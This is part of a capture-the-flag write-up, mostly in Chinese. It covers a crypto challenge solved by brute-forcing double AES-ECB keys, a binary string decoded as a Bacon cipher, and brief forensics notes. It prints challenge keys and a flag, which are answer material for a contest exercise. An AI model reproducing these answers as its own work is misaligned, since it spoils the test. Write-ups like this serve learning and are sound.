AES.new(k2, mode=AES.MODE_ECB).decrypt(
AES.new(k1, mode=AES.MODE_ECB).decrypt(flagC)
),
16,
)
print(flag)
break

k1 = b"make_it_easy_bh\x10"
k2 = b"make_it_easy_;L\x92"
flag = b"R2S{m461c4l_bru73f0rc3_1_G37_17_l1k3_f1v3_m1nu73}"

Not morse

通靈、通靈和通靈...

1
1000 021 000 1{1000 0 00 10 01 00 010 011 1 000 00011 100 01 00000 0001 1 0 00 001 10 0 0110 0 1 00000 10 01 10 100 0 110 0100 }

首先要猜那個 2 是 flag format R2S{...} 中的 2,然後把所有非 0 和 1 的字元移除掉:

1
100001000110000001001000100111000000111000100000000110000011000110010000010011010001100100

之後用 CyberChef 的 magic 可以發現它是 Bacon cipher: link

Forensics

Headache

隊友解的,我不會解==

md0

一樣是隊友解的,我有學到了從 Wireshark export 檔案的時候一樣要選 raw 這件事而已

H4cK3d

題目出壞掉,直接 strings 就有 flag 了。